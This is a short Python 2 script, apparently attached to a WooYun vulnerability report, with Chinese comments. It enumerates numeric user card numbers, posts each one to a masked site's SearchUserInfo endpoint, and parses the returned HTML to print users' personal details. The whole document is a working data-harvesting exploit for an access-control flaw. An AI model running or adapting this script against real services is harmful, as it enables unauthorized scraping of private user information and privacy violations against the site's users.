WooYun.org

# -*- coding:utf-8 -*-  
import itertools
import string
import re
import requests
import pdb
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
def getcard():                           #生成用户卡号字典
	chars = string.printable[:10]        #0-9字符组合
	for i in xrange(1,2):                #定义字典位数
		word = itertools.product(chars,repeat=i)
		for cardid in word:
			no = "".join(cardid)        #生成指定位数字典
			yield no 
	
def brutecard(url,cardid):				#获取用户数据
	post_data = {'userinfo':cardid}
	r = requests.post(url,post_data)
	return r.content
def getresult(result):					#解析结果
	info = re.findall(r'<fieldset>.*?</fieldset>',result,re.S)
	if not info:
		print u'无此用户' + '\n'
	else:
	#print info[1]
		detail = re.findall(r'<p>.*?</p>',info[1],re.S)
		for i in detail:
			msg = re.search(r'<label>(.*?)</label>(.*?)</p>',i,re.S)
			yield  msg.group(1).lstrip() + msg.group(2).lstrip()
if __name__ == '__main__':
	url = 'http://**.**.**.**/Account/SearchUserInfo'   #指定URL
	cardno = getcard()			#获取卡号
	#pdb.set_trace()
	for i in cardno:
		print '开始获取用户' +  i + '数据.......' + '\n' 
		res = brutecard(url,i)  #尝试获取用户数据
		information = getresult(res)	#获取数据
		for p in information:
			print p